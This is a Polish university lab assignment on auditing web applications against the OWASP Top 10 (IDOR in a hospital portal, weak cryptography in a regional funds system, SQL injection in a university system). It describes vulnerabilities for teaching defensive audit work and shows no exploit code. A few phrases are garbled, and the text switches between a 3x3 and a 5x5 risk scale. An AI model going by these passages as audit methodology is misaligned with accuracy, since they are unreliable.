Zestaw 10 zaawansowanych studiów przypadku audytu aplikacji webowych i API w oparciu o taksonomię OWASP Top 10 i rygory RODO/NIS2. Zadania wymagają oszacowania ryzyka 3×3 (IR i RR), gradacji podatności (NC1/NC2/OFI), dochodzenia przyczyn metodą 5 Why oraz planu CAP ze wskaźnikami KPI. Zespół opracowuje profesjonalny raport (8–12 stron) i broni go przed komisją.
Audyt bezpieczeństwa informacji – Laboratorium 7 (kod Lab7): Zaawansowany audyt aplikacji web (OWASP Top 10) – poziom oceny 4.0. Kierunek: Informatyka i ekonometria, specjalność Bezpieczeństwo informacji, studia pierwszego stopnia (PRK 6), semestr 7, profil praktyczny. Wymiar: wykład 15 godz., laboratorium 24 godz., 5 pkt ECTS.
Zgodnie z sylabusem przedmiotu zaliczenie zadania laboratoryjnego na ocenę 4.0 (dobrą) wymaga wyczerpującego i precyzyjnego przeprowadzenia zaawansowanego audytu bezpieczeństwa aplikacji webowej dla organizacji o złożonej strukturze procesowej, technologicznej i regulacyjnej, w oparciu o standard OWASP Top 10:2021. Student musi: (1) zidentyfikować luki i uchybienia w architekturze kodu, autoryzacji obiektowej, konfiguracji serwerów WWW, kryptografii, integralności komponentów i rejestrowaniu zdarzeń oraz dokonać ich profesjonalnej gradacji na Niezgodności Duże (NC1), Niezgodności Małe (NC2) i Szanse na doskonalenie (OFI) z precyzyjną referencją do normy PN-EN ISO/IEC 27001:2022 i aktów prawnych właściwych dla sektora (art. 9, 25, 32 i 33 RODO, par. 20 KRI, ustawa o KSC / dyrektywa NIS2, rozporządzenie DORA, Rekomendacja D i M KNF, PCI DSS v4.0, PSD2, PZP); (2) przeprowadzić analizę ryzyka audytowego z użyciem matrycy prawdopodobieństwa i skutku 3x3 (w ujęciu ryzyka inherentnego i rezydualnego); (3) zrealizować procedurę dochodzenia przyczyn źródłowych uchybień metodą 5 Why (Root Cause Analysis); (4) skonstruować kompletny i wykonalny Plan Działań Korygujących (CAP) z przypisaniem właścicieli biznesowych, mierzalnych wskaźników sukcesu (KPI) oraz terminów realizacji (14-90 dni).
Zadania realizowane są przez zespoły 2–3 osobowe wcielające się w profesjonalną kadrę audytorsko-inżynierską, a efektem prac jest raport seminaryjny oraz 15-minutowa obrona ustna przed komisją laboratoryjną. Ujednolicony podział ról analityczno-audytowych:
Pisemny raport poaudytowy w formacie PDF (objętość 8–12 stron znormalizowanego maszynopisu A4) przekazywany prowadzącemu najpóźniej na 48 godzin przed zajęciami, zawierający stronę tytułową (nazwa uczelni, wydział, kierunek, nazwa przedmiotu, kod Lab7, numer i pełny tytuł zadania, skład zespołu z przydzielonymi rolami) oraz obowiązkowe rozdziały merytoryczne: podsumowanie zarządcze (Executive Summary), odpowiedzi na zaawansowane pytania problemowe, tabelę zaawansowanej analizy ryzyka w matrycy 3x3 (4 wektory zagrożeń – ryzyko inherentne i rezydualne), formalne karty niezgodności NC1/NC2/OFI z referencją do normy ISO/IEC 27001:2022 i przepisów prawa, protokół dochodzenia przyczyn źródłowych metodą 5 Why, szczegółowe rozwiązanie techniczne (w tym wymagane przez zadanie elementy, np. zapytania przygotowane, kod middleware, konfigurację TLS/NGINX, segmentację OT/IT, SBOM CycloneDX), tabelę Planu Działań Korygujących (CAP) z właścicielem biznesowym, wskaźnikiem KPI i terminem realizacji (14–90 dni), analizę zalet i wad (kompromisów inżynierskich) oraz bibliografię / netografię. Całość kończy się ustną obroną – 15-minutowym wystąpieniem zespołowym z prezentacją multimedialną, w którym aktywny udział bierze każdy członek zespołu, oraz odpowiedzią na 3–4 dociekliwe pytania kontrolne prowadzącego (symulującego rolę Prezesa Zarządu, CISO lub Inspektora Ochrony Danych / Nadzoru) dotyczące uzasadnienia wag w matrycy ryzyka, wykonalności planu CAP oraz rygorów prawnych właściwych dla sektora.
Poprawność i rzetelność analizy ryzyka 3x3 (prawidłowe zidentyfikowanie wektorów zagrożeń i logiczne wyliczenie iloczynu prawdopodobieństwa i skutku w ujęciu inherentnym i rezydualnym), precyzja formalnej gradacji uchybień i zgodność z kontrolami ISO/IEC 27001 oraz przepisami sektorowymi, jakość dochodzenia przyczyn źródłowych (5 Why) – unikanie powierzchownych wniosków i dotarcie do systemowych przyczyn uchybień w procesach wytwarzania i eksploatacji aplikacji, wykonalność i mierzalność Planu Działań Korygujących (CAP) w horyzoncie 14–90 dni oraz jakość prezentacji ustnej, profesjonalizm dyskusji i praca zespołowa.
Brak formalnej analizy ryzyka w matrycy 3x3 lub sporządzenie jej powierzchownie, bez wyliczenia ryzyka rezydualnego; brak formalnych kart niezgodności albo pomylenie Niezgodności Dużej (NC1) ze Szansą na doskonalenie (OFI); pozorna analiza 5 Why (zatrzymanie się na objawach technicznych zamiast dotarcia do przyczyn źródłowych w ładzie korporacyjnym i procesach decyzyjnych); przedstawienie Planu CAP bez mierzalnych wskaźników KPI lub z nierealistycznymi terminami; pobieżne opracowanie raportu (poniżej 8 stron maszynopisu); dominacja prezentacji jednego studenta; rażące błędy merytoryczne i prawne (np. mylenie kategorii OWASP Top 10 albo powoływanie się na nieobowiązujące akty prawne).
Zegar odlicza 180 minut i podświetla aktualny etap pracy zespołu oraz odpowiadający mu wiersz tabeli. Rozkład minut jest propozycją organizacji pracy w zespole 2–3 osobowym, a nie sztywnym regulaminem ćwiczeń: kolejność i długość poszczególnych etapów ustala zespół, zachowując łączny czas 180 minut. Opis etapów i podział ról różnią się w każdym studium przypadku.
Zegar nie jest wymagany do realizacji zadań. Służy wyłącznie do podziału 180 minut pracy w zespole.
| Przedział | Etap pracy zespołu | Artefakt wyjściowy | Wiodąca rola |
|---|---|---|---|
| Minuty 00-45 | Rozpoznanie aplikacji: zakres testów, model zagrożeń, role użytkowników, funkcje objęte audytem i dane przetwarzane w aplikacji. | Zakres testów, model zagrożeń, lista funkcji i ról, kryteria doboru przypadków. | Rola 1 |
| Minuty 45-90 | Testy i diagnoza: sprawdzenie uwierzytelniania, sesji, walidacji danych, kontroli dostępu, mechanizmów ochronnych i konfiguracji na poziomie aplikacji. | Rejestr ustaleń z gradacją NC1 / NC2 / OFI i wskazaną podstawą normatywną. | Rola 2 |
| Minuty 90-135 | Analiza ryzyka: ocena prawdopodobieństwa wykorzystania i skutku dla każdej podatności, wyznaczenie ryzyka po zastosowaniu kontroli i decyzji o postępowaniu. | Matryca ryzyka 5 × 5 dla podatności i decyzje o postępowaniu. | Rola 3 |
| Minuty 135-180 | Plan działań i obrona: tabela CAP z priorytetami, właścicielami i terminami 14-90 dni, kryteria skuteczności, analiza wad i zalet, redakcja raportu i obrona. | Kompletny raport, tabela CAP, prezentacja na 15-minutową obronę. | Rola 1 i Rola 2 |
Wskaż, który członek zespołu prowadzi każdy etap pracy, i sprawdź kompletność podziału. W triadzie każda z ról 1–3 prowadzi dokładnie jeden etap, natomiast etap 4 (redakcja raportu i obrona) jest prowadzony przez parę ról. W zespole dwuosobowym obowiązaki trzeciej roli realizują wspólnie role 1 i 2.
Ustala zakres testów, analizuje model zagrożeń i przypadki użycia, sprawdza, czy testy obejmują rzeczywiste ścieżki użytkownika oraz role uprzywilejowane.
Wykonuje testy aplikacji i interfejsów, sprawdza uwierzytelnianie, sesje, walidację danych wejściowych, dostęp do zasobów i konfigurację mechanizmów ochronnych.
Ocenia ryzyko wykrytych podatności, kwalifikuje ustalenia do NC1, NC2 i OFI oraz buduje plan naprawczy z priorytetami i kryteriami skuteczności.
Wpisz podatność aplikacji webowej, dobierz prawdopodobieństwo (P) oraz skutek (S) w skali 1-5 i dodaj pozycję do rejestru. Kalkulator wylicza iloczyn P × S, wskazuje strefę ryzyka i aktualizuje statystyki rejestru. Pozycje dodane tutaj są automatycznie zaznaczane w interaktywnej macierzy ryzyka.
| Lp. | Podatność aplikacji webowej | Kategoria niezgodności | P | S | P × S | Strefa | Akcja |
|---|---|---|---|---|---|---|---|
| Rejestr jest pusty. Dodaj pierwszą pozycję zdiagnozowaną w tym laboratorium. | |||||||
Dobierz wartości P i S suwakami albo kliknij komórkę macierzy, aby odczytać poziom ryzyka (P × S). Moduł zawiera trzy dodatkowe suwaki, które pozwalają dopasować skalę do własnej metodologii: granice stref zielonej, żółtej i czerwonej oraz próg akceptacji ryzyka (tolerancję organizacji). Poniżej znajduje się karta stanowiska „Podatność aplikacji webowej”, a gwiazdka oznacza pozycję wprowadzoną wcześniej w interaktywnym kalkulatorze ryzyka.
Ładowanie powiązania z rejestrem…
możliwe raz na rok; zdarza się w innych jednostkach tego samego typu.
poważny przerwanie ciągłości usługi lub naruszenie obowiązku prawnego.
P = 3 (możliwe) × S = 4 (poważny) = 12
Przyjmuje się ryzyko warunkowo. Należy zaplanować proste działanie naprawcze w formule reguły, zakazu lub szkolenia i wskazać jego właściciela w polityce bezpieczeństwa.
Wartości powyżej progu wymagają decyzji kierownika jednostki organizacyjnej, a nie tylko odnotowania w rejestrze zagrożeń.
| Wartość P × S | Strefa | Znaczenie dla decyzji audytowej | Wymagane postępowanie |
|---|---|---|---|
| 1–7 | zielona | Ryzyko akceptowalne.. | Wystarczy odnotować podatność w rejestrze i objąć ją monitoringiem przy kolejnych testach. |
| 8–14 | żółta | Ryzyko warunkowo akceptowalne.. | Wprowadzić poprawkę w najbliższym cyklu wydawniczym, wskazać jej właściciela i zaplanować test regresyjny. |
| 15–25 | czerwona | Ryzyko krytyczne, wymagające pilnego działania.. | Nie przyjmować ryzyka: ograniczyć dostęp do sieci wewnętrznej albo wyłączyć funkcję, a poprawkę wdrożyć pilnie. |
Wybierz studium przypadku, a pola formularza wypełnią się danymi jednostki (metryka audytowanej jednostki, kluczowe aktywa i podstawy prawne). Generator składa z wpisanych treści szkic raportu z 10 rozdziałami; szkic jest punktem wyjścia do redakcji, nie gotowym tekstem do oddania. Generator nie ocenia ani nie uzupełnia treści merytorycznej: redakcja, uporządkowanie i uzasadnienie zostają po stronie zespołu.
Pola wypełniane automatycznie (metryka audytowanej jednostki, aplikacje, interfejsy i dane przetwarzane, obowiązujące podstawy prawne i normatywne) uzupełniają się po wyborze studium przypadku. Pozostałe rozdziały wpisuje zespół. Po wygenerowaniu szkic trafia również do licznika objętości w sekcji checklista.
Generator prowadzi przez każde ustalenie z rejestru NC1 / NC2 i wymaga od zespołu podania przyczyny źródłowej (metoda 5 Why), działania naprawczego, stanowiska właściciela, terminu z przedziału 14–90 dni oraz mierzalnego kryterium skuteczności. Narzędzie sprawdza kompletność planu i wskazuje typowe błędy: działanie objawowe zamiast naprawiającego źródło, właściciela podanego imieniem zamiast stanowiskiem, brak kryterium skuteczności albo ujęcie szansy na poprawę (OFI) jako niezgodności.
| Lp. | Nr | Kwal. | Ustalony stan | Przyczyna źródłowa | Działanie naprawcze | Właściciel | Termin | Kryterium skuteczności |
|---|
Plan jest pusty. Dodaj ustalenia z rejestru NC1 i NC2, a generator sprawdzi kompletność przyczyn źródłowych, właścicieli, terminów i kryteriów skuteczności.
Checklista ma cztery grupy po pięć punktów: rozpoznanie, diagnoza, projekt i plan. Zaznacz pozycje faktycznie zrealizowane w raporcie, a nie zamierzone. Postęp zapamiętuje się w pamięci przeglądarki. Licznik objętości sprawdza, czy tekst raportu mieści się w wymaganych 8–12 stronach, przy założeniu 300 słów na stronę znormalizowanego maszynopisu A4 (2400–3600 słów).
Krótkie charakterystyki badanych organizacji oraz zagadnień raportowe według sektorów. Wybierz sektor, aby zawęzić listę, i kliknij kartę, aby przejść do właściwego zadania. Kliknięcie nagłówka karty zadania rozwija lub zwija jego pełną treść.
Kliknij nagłówek zadania, aby je rozwinąć lub zwinąć. Przyciski poniżej rozwijają / zwijają wszystkie karty.
Temat: Zaawansowany Audyt Kontroli Dostępu (A01:2021 - Broken Access Control / IDOR) w Platformie E-pacjent i Archiwum PACS: Analiza Ryzyka 3X3, Gradacja NC1/NC2/OFI, Dochodzenie 5 Why oraz Plan CAP w Świetle RODO art. 9 i art. 32
Głównym celem zadania jest opanowanie przez studentów zaawansowanych umiejętności audytowania mechanizmów autoryzacji i kontroli dostępu w wielowarstwowych aplikacjach medycznych (kategoria OWASP Top 10:2021 - A01:2021 Broken Access Control) ze szczególnym uwzględnieniem podatności Insecure Direct Object References (IDOR) oraz wymuszonego przeglądania w interfejsach REST API. Studenci badają zintegrowany portal pacjenta połączony ze Szpitalnym Systemem Informacyjnym (HIS) oraz archiwum obrazów medycznych PACS (tomografia komputerowa, rezonans magnetyczny, mammografia), w którym wykryto możliwość pobierania badań histopatologicznych i skanów DICOM dowolnego pacjenta poprzez modyfikację parametrów identyfikatorów w żądaniach API. Zadanie wymaga przeprowadzenia formalnej analizy ryzyka w matrycy 3x3 (w ujęciu ryzyka inherentnego i rezydualnego), opracowania kart niezgodności (NC1/NC2/OFI) z precyzyjnym wskazaniem punktów normy ISO/IEC 27001:2022 oraz przepisów prawa, przeprowadzenia dochodzenia przyczyn źródłowych metodą 5 Why (Root Cause Analysis), a także skonstruowania kompletnego Planu Działań Korygujących (CAP) z przypisaniem ról biznesowych, terminów i mierzalnych wskaźników KPI.
Powiązanie z sylabusem i treściami programowymi:
Wojewódzki Szpital Specjalistyczny i Regionalne Centrum Onkologii w Olsztynie jest podmiotem leczniczym dysponującym 850 łóżkami, 22 klinikami specjalistycznymi oraz Zakładem Diagnostyki Obrazowej wykonującym rocznie ponad 90 000 badań tomografii komputerowej (TK), rezonansu magnetycznego (MR) oraz badań biopsyjnych. Szpital wdrożył zintegrowaną platformę internetową 'OnkoPortal', która umożliwia pacjentom wgląd w harmonogram chemioterapii, odbiór opisów badań histopatologicznych oraz przeglądanie trójwymiarowych obrazów diagnostycznych DICOM bezpośrednio w przeglądarce za pośrednictwem wbudowanej przeglądarki Web-PACS.
Stan faktyczny w obszarze mechanizmów kontroli dostępu i incydentu bezpieczeństwa:
Dyrektor Szpitala, stając w obliczu groźby kontroli Prezesa UODO, zawiadomienia prokuratury oraz kar finansowych mogących zagrozić płynności finansowej placówki, powołuje zespół audytorski z zadaniem przeprowadzenia zaawansowanego audytu na ocenę 4.0.
Zadanie realizowane jest przez 2-3 osobowy zespół audytorski w formule studium przypadku:
Student 1 (Audytor Wiodący / Governance i Zgodność Prawna): Koordynuje prace zespołu, bada procedury nadzoru nad rozwojem oprogramowania, analizuje skutki prawne w świetle art. 9, 32 i 33 RODO oraz Ustawy o prawach pacjenta, weryfikuje zgłoszenie incydentu do UODO i koordynuje strukturę referatu.
Student 2 (Audytor Techniczny ds. Bezpieczeństwa Aplikacji Web i API): Dokonuje dekonstrukcji żądań REST API i DICOM Web, bada mechanizm weryfikacji tokenów JWT w kodzie Node.js, lukę IDOR i brak autoryzacji obiektowej, projektuje architekturę kontroli dostępu opartej na relacjach w bazie (Row-Level Security) oraz bramki Rate Limiting.
Student 3 (Audytor Zgodności Regulacyjnej, Ryzyka i Jakości CAP): Przeprowadza pełną analizę ryzyka w matrycy 3x3 (obliczając poziom ryzyka inherentnego i rezydualnego dla 4 wektorów), sporządza formalne karty niezgodności (NC1/NC2/OFI), prowadzi procedurę dochodzenia przyczyn źródłowych 5 Why oraz konstruuje tabelę Planu Działań Korygujących (CAP) ze wskaźnikami KPI. W zespole 2-osobowym zadania te dzielą Studenci 1 i 2.
Oszacujcie prawdopodobieństwo (P: 1-niski, 2-średni, 3-wysoki) oraz skutek (S: 1-niski, 2-średni, 3-wysoki) w skali 9-stopniowej dla 4 zidentyfikowanych wektorów zagrożeń:
1. Masowego wycieku danych medycznych szczególnej kategorii przez podatność IDOR w REST API (P=3, S=3 -> R=9: Ryzyko Krytyczne; po kontrolach kompensacyjnych: P=1, S=3 -> R=3: Ryzyko Niskie/Akceptowalne).
2. Pobrania poufnych obrazów diagnostycznych DICOM z serwera PACS (P=3, S=3 -> R=9; po kontrolach: P=1, S=2 -> R=2).
3. Automatycznego pobierania danych w wyniku braku mechanizmów Rate Limiting na bramie API (P=3, S=2 -> R=6; po kontrolach: P=1, S=2 -> R=2).
4. Braku rozliczalności i niewykrycia incydentu przez brak audytowych logów dostępowych (P=3, S=3 -> R=9; po kontrolach: P=1, S=2 -> R=2).
Sformułujcie karty uchybień z podziałem na:
Przeprowadźcie pełną sekwencję 5 pytań dochodzeniowych:
1. Dlaczego intruz pobrał 18 500 raportów onkologicznych innych pacjentów? (Ponieważ serwer API zwrócił dane po zmianie parametru `report_id`).
2. Dlaczego serwer zwrócił dane obcego pacjenta? (Ponieważ kod endpointu weryfikował jedynie poprawność podpisu tokenu JWT, a nie sprawdzał, czy identyfikator w tokenie zgadza się z właścicielem raportu).
3. Dlaczego programiści nie zaimplementowali weryfikacji tożsamości z tokenem? (Ponieważ w specyfikacji wymagań technicznych i kryteriach akceptacji skupiono się wyłącznie na poprawnym uwierzytelnieniu, pomijając reguły autoryzacji kontekstowej).
4. Dlaczego luka nie została wykryta na etapie odbioru oprogramowania? (Ponieważ szpital nie przeprowadził niezależnych testów penetracyjnych API, a testy odbiorcze ograniczyły się do weryfikacji funkcjonalnej 'happy path').
5. Root Cause (Przyczyna źródłowa): Brak sformalizowanych procedur bezpiecznego cyklu życia oprogramowania (Secure SDLC), brak polityki modelowania zagrożeń dla interfejsów API oraz brak kompetencji w zakresie bezpieczeństwa aplikacji webowych w szpitalnym dziale IT.
Opracujcie tabelę CAP z kolumnami: Lp., Zidentyfikowana niezgodność (NC1/NC2/OFI), Działanie korygujące / zapobiegawcze, Właściciel biznesowy (rola), Termin wdrożenia (14-90 dni), Mierzalny wskaźnik sukcesu (KPI).
Zredagujcie raport poaudytowy o objętości 8-12 stron z pełnymi kartami i analizami, a następnie przygotujcie prezentację multimedialną do 15-minutowej obrony przed komisją.
Plan prezentacji referatu seminaryjnego (15 minut):
Wymagana struktura raportu poaudytowego na ocenę 4.0 (objętość 8-12 stron A4):
1. Podsumowanie zarządcze (Executive Summary) dla Dyrekcji Szpitala i Inspektora Ochrony Danych.
2. Odpowiedzi na zaawansowane pytania problemowe:
3. Opis stanu faktycznego i przebiegu testów bezpieczeństwa platformy OnkoPortal.
4. Tabela Zaawansowanej Analizy Ryzyka w matrycy 3x3 (4 wektory zagrożeń, ryzyko inherentne vs. rezydualne).
5. Formalne Karty Niezgodności:
6. Protokół dochodzenia przyczyn źródłowych (Root Cause Analysis - 5 Why).
7. Szczegółowe rozwiązanie techniczne:
8. Tabela Planu Działań Korygujących (CAP) z przypisaniem ról, terminów (14-90 dni) i wskaźników KPI.
9. Analiza zalet i wad (kompromisów inżynierskich) proponowanych rozwiązań.
10. Bibliografia, netografia i odnośniki do norm i aktów prawnych.
Podczas obrony referatu zaprezentujcie komisji diagram sekwencji żądania HTTP przed audytem (błędna weryfikacja) i po wdrożeniu Planu CAP, szczegółowo wyjaśniając działanie filtru Row-Level Security na poziomie bazy danych PostgreSQL.
Temat: Zaawansowany Audyt Bezpieczeństwa Kryptograficznego (A02:2021 - Cryptographic Failures) w Regionalnym Systemie Beneficjenta Funduszy Unijnych: Analiza Ryzyka 3X3, Gradacja NC1/NC2/OFI, Procedura 5 Why i Plan CAP w Świetle KRI i RODO
Głównym celem zadania jest opanowanie przez studentów zaawansowanych umiejętności audytowania bezpieczeństwa stosu kryptograficznego w aplikacjach administracji publicznej obsługujących wnioski o dofinansowanie ze środków Unii Europejskiej (kategoria OWASP Top 10:2021 - A02:2021 Cryptographic Failures). Studenci badają Regionalny System Informatyczny Beneficjenta Funduszy Unijnych 'e-Podkarpacie 2030', w którym wykryto poważne uchybienia w zakresie wykorzystania przestarzałych protokołów szyfrujących TLS 1.2 z podatnymi szyframi, stosowania wrażliwych algorytmów MD5 do tzw. "integralności", przechowywania haseł beneficjentów bez soli i algorytmu Argon2id, a także przechowywania kluczy prywatnych certyfikatów w zwykłych plikach konfiguracyjnych (.env) repozytorium deweloperskiego. Zadanie wymaga przeprowadzenia formalnej analizy ryzyka w matrycy 3x3, opracowania kart niezgodności (NC1/NC2/OFI) z precyzyjnym wskazaniem punktów normy ISO/IEC 27001:2022 oraz przepisów prawa, przeprowadzenia dochodzenia przyczyn źródłowych metodą 5 Why (Root Cause Analysis), a także skonstruowania kompletnego Planu Działań Korygujących (CAP) z przypisaniem ról, terminów i mierzalnych wskaźników KPI.
Powiązanie z sylabusem i treściami programowymi:
Urząd Marszałkowski Województwa Podkarpackiego w Rzeszowie jest jednostką samorządu województwa odpowiedzialną za dystrybucję ponad 1,2 mld złotych z Programu Operacyjnego 'Polska Wschodnia' i innych programów regionalnych na lata 2021-2027. Elektroniczny system obsługi beneficjenta 'e-Podkarpacie 2030' pozwala ponad 40 000 przedsiębiorców, instytucji badawczych i samorządowych składać wnioski o dofinansowanie, prowadzić korespondencję urzędową w formie elektronicznej oraz składać dokumenty rozliczeniowe i sprawozdania finansowe.
Stan faktyczny w obszarze bezpieczeństwa kryptograficznego:
Urząd Marszałkowski, obawiając się konsekwencji kontroli NIK oraz sankcji Prezesa UODO, powołuje zespół audytorski z zadaniem przeprowadzenia zaawansowanego audytu na ocenę 4.0.
Zadanie realizowane jest przez 2-3 osobowy zespół audytorski w formule studium przypadku:
Student 1 (Audytor Wiodący / Governance i Zgodność Prawna): Koordynuje prace zespołu, weryfikuje zgodność z Krajowymi Ramami Interoperacyjności (§ 20 ust. 2 pkt 5), analizuje wymogi RODO art. 32 i art. 25 odnośnie szyfrowania oraz przygotowuje analityczne wnioski dla Zarządu Województwa.
Student 2 (Audytor Techniczny ds. Bezpieczeństwa Kryptografii i Infrastruktury): Bada konfigurację serwera WWW i zestawów TLS, analizuje pliki konfiguracyjne i klucze, przegląda pseudonim pseudonim naczyń deweloperskich, testuje poziomy szyfrowania bazy i szacuje straty z wycieku kluczy.
Student 3 (Audytor Zgodności Regulacyjnej, Ryzyka i Jakości CAP): Przeprowadza analizę ryzyka w matrycy 3x3 (IR vs RR dla 4 wektorów), sporządza formalne karty niezgodności (NC1/NC2/OFI), prowadzi dochodzenie 5 Why oraz konstruuje tabelę Planu CAP ze wskaźnikami KPI. W zespole 2-osobowym zadania te dzielą Studenci 1 i 2.
Oszacujcie prawdopodobieństwo (P: 1-3) oraz skutek (S: 1-3) w skali 9-stopniowej dla 4 wektorów zagrożeń:
1. Przechwycenie i odszyfrowanie ruchu TLS z danymi osobowymi beneficjentów w wyniku użycia przestarzałych szyfrów i braku forward secrecy (P=3, S=3 -> R=9; po kontrolach: TLS 1.3, HSTS: P=1, S=2 -> R=2).
2. Kompromitacja kluczy prywatnych i podpisów cyfrowych w wyniku przechowywania w plikach .env repozytorium (P=3, S=3 -> R=9; po kontrolach: HSM/Secret Manager: P=1, S=2 -> R=2).
3. Kradzież niezaszyfrowanych kopii zapasowych bazy danych z plików dump na serwerze NAS (P=2, S=3 -> R=6; po kontrolach: szyfrowanie dysków, Oracle TDE, rotacja kopii: P=1, S=2 -> R=2).
4. Kompromitacja haseł beneficjentów w wyniku użycia MD5 i przekształcenia w hashe bez soli (P=3, S=3 -> R=9; po kontrolach: Argon2id: P=1, S=2 -> R=2).
Sformułujcie karty uchybień z podziałem na:
Przeprowadźcie pełną sekwencję 5 pytań dochodzeniowych dla krytycznej niezgodności NC1 1:
1. Dlaczego dostępne są podatne szyfry RC4/3DES w serwerze WWW? (Ponieważ konfiguracja pochodzi z 2019 r. i nie była aktualizowana do standardów TLS 1.3).
2. Dlaczego konfiguracja nie była aktualizowana? (Ponieważ brak było formalnej procedury przeglądu konfiguracji zabezpieczeń serwerów WWW i harmonogramu rotacji certyfikatów).
3. Dlaczego brak było procedury przeglądu? (Ponieważ bezpieczeństwo kryptograficzne traktowano jako zadanie pojedynczego administratora infrastruktury, a nie jako bieżący proces audytowy).
4. Dlaczego bezpieczeństwo nie było procesem audytowym? (Ponieważ organizacja nie zdefiniowała właściciela procesu zarządzania kryptografią i nie szkoliła personelu w zakresie NIST TLS Guidelines).
5. Root Cause (Przyczyna źródłowa): Brak zarządzanego procesu zarządzania konfiguracją kryptograficzną, brak właściciela procesu i brak wdrożonych narzędzi automatycznego monitorowania poziomu bezpieczeństwa TLS.
Opracujcie tabelę CAP z kolumnami: Lp., Zidentyfikowana niezgodność (NC1/NC2/OFI), Działanie korygujące / zapobiegawcze, Właściciel biznesowy (rola), Termin wdrożenia (14-90 dni), Mierzalny wskaźnik sukcesu (KPI).
Zredagujcie raport poaudytowy o objętości 8-12 stron z pełnymi kartami i analizami, a następnie przygotujcie prezentację multimedialną do 15-minutowej obrony przed komisją.
Plan prezentacji referatu seminaryjnego (15 minut):
Wymagana struktura raportu poaudytowego na ocenę 4.0 (objętość 8-12 stron A4):
1. Podsumowanie zarządcze dla Zarządu Województwa i Inspektora Ochrony Danych.
2. Odpowiedzi na zaawansowane pytania problemowe:
3. Opis stanu faktycznego i przebiegu testów bezpieczeństwa kryptograficznego.
4. Tabela Zaawansowanej Analizy Ryzyka w matrycy 3x3 (4 wektory, IR vs RR).
5. Formalne Karty Niezgodności (NC1/NC2/OFI).
6. Protokół dochodzenia przyczyn źródłowych (5 Why).
7. Szczegółowe rozwiązanie techniczne: konfiguracja Nginx dla TLS 1.3 z HSTS i otwartą polityką szyfrów, implementacja Argon2id dla haseł, integracja z AWS KMS/HSM, włączenie szyfrowania kopii zapasowych i funkcji Oracle TDE.
8. Tabela Planu Działań Korygujących (CAP).
9. Analiza kompromisów inżynierskich migracji kryptograficznej (ryzyko niekompatybilności klientów, koszty, wydajność).
10. Bibliografia, netografia i odnośniki do norm i aktów prawnych.
Podczas obrony referatu zaprezentujcie komisji zestawienie raportu SSL Labs przed i po audycie oraz przykład konfiguracji serwera Nginx z aktywnym HSTS, jednoznacznie ilustrujący proponowaną docelową politykę kryptograficzną.
Temat: Zaawansowany Audyt Podatności na Wstrzyknięcia (A03:2021 - Injection / SQL Injection) w Centralnym Systemie Rekrutacyjnym i Wirtualnym Dziekanacie: Analiza Ryzyka 3X3, Gradacja NC1/NC2/OFI, Metoda 5 Why i Plan CAP w Świetle RODO i KRI
Głównym celem zadania jest opanowanie przez studentów zaawansowanych umiejętności audytowania podatności na wstrzyknięcia kodu, w szczególności SQL Injection, w aplikacjach akademickich przetwarzających dane osobowe studentów i kandydatów (kategoria OWASP Top 10:2021 - A03:2021 Injection). Studenci badają Centralny System Rekrutacyjny oraz Wirtualny Dziekanat Uniwersytetu Medycznego w Białymstoku, w których wykryto możliwość wstrzykiwania zapytań SQL przez parametry żądań HTTP GET/POST, obejścia mechanizmów autoryzacji oraz eksfiltracji danych osobowych z bazy danych. Zadanie wymaga przeprowadzenia formalnej analizy ryzyka w matrycy 3x3 (poziom ryzyka inherentnego i rezydualnego), opracowania kart niezgodności (NC1/NC2/OFI) z precyzyjnym wskazaniem punktów normy ISO/IEC 27001:2022 oraz przepisów prawa, przeprowadzenia dochodzenia przyczyn źródłowych metodą 5 Why, a także skonstruowania kompletnego Planu Działań Korygujących (CAP) z przypisaniem ról, terminów i mierzalnych wskaźników KPI.
Powiązanie z sylabusem i treściami programowymi:
Uniwersytet Medyczny w Białymstoku jest największą uczelnią kształcącą kadry medyczne w Polsce północno-wschodniej, skupiającą 9 000 studentów na kierunkach lekarskim, stomatologicznym, farmaceutycznym i położniczym oraz 2 000 doktorantów. Uczelnia uruchomiła w 2021 r. Centralny System Rekrutacyjny umożliwiający składanie wniosków o przyjęcie, śledzenie rankingu oraz opłatę za postępowanie rekrutacyjne online, a także Wirtualny Dziekanat gromadzący indeksy cyfrowe, oceny, ankiety oceny nauczycieli akademickich oraz decyzje administracyjne.
Stan faktyczny w obszarze podatności na wstrzyknięcia:
Rektor Uniwersytetu Medycznego, stając przed ryzykiem odpowiedzialności karnej, wydaje zlecenie przeprowadzenia zaawansowanego audytu bezpieczeństwa aplikacji webowych na ocenę 4.0.
Zadanie realizowane jest przez 2-3 osobowy zespół audytorski w formule studium przypadku:
Student 1 (Audytor Wiodący / Governance i Zgodność Prawna): Koordynuje prace zespołu, analizuje skutki prawne w świetle RODO art. 32 i art. 9, Ustawy o systemie informacji w ochronie zdrowia oraz regulaminu postępowania rekrutacyjnego, przygotowuje wnioski dla Rektora.
Student 2 (Audytor Techniczny ds. Bezpieczeństwa Baz Danych i Kodu): Dekonstruuje zapytania SQL, bada parametr `pesel` i moduł logowania, analizuje uprawnienia kont bazy danych, projektuje migrację do Prepared Statements i model minimalnych uprawnień.
Student 3 (Audytor Zgodności Regulacyjnej, Ryzyka i Jakości CAP): Przeprowadza analizę ryzyka w matrycy 3x3, sporządza karty niezgodności (NC1/NC2/OFI), prowadzi dochodzenie 5 Why i konstruuje tabelę Planu CAP ze wskaźnikami KPI. W zespole 2-osobowym zadania te dzielą Studenci 1 i 2.
Oszacujcie prawdopodobieństwo (P: 1-3) oraz skutek (S: 1-3) w skali 9-stopniowej dla 4 wektorów zagrożeń:
1. Pominięcie uwierzytelnienia i eksfiltracja danych osobowych kandydatów przez wstrzyknięcie SQL w endpointcie logowania (P=3, S=3 -> R=9; po kontrolach: Prepared Statements, P=1, S=2 -> R=2).
2. Automatyczna ekstrakcja pełnej kopii bazy (rysunk pytania rekurencyjne aplikacji) przez atakującego z prawami administratora MySQL (P=3, S=3 -> R=9; po kontrolach: najmniejsze uprawnienia, out-of-band monitoring: P=1, S=3 -> R=3).
3. Zmiana ocen i danych w Wirtualnym Dziekanacie przez wstrzyknięcie w module raportów (P=2, S=3 -> R=6; po kontrolach: Prepared Statements + reguły dostępu: P=1, S=2 -> R=2).
4. Przejęcie sesji administratora i modyfikacja rankingu rekrutacyjnego (P=2, S=3 -> R=6; po kontrolach: MFA i audyt logów: P=1, S=2 -> R=2).
Sformułujcie karty uchybień z podziałem na:
1. Dlaczego możliwe było wstrzyknięcie SQL w endpointcie logowania? (Ponieważ zapytanie do bazy było łączone jako konkatenacja ciągu znaków z danymi wejściowymi użytkownika).
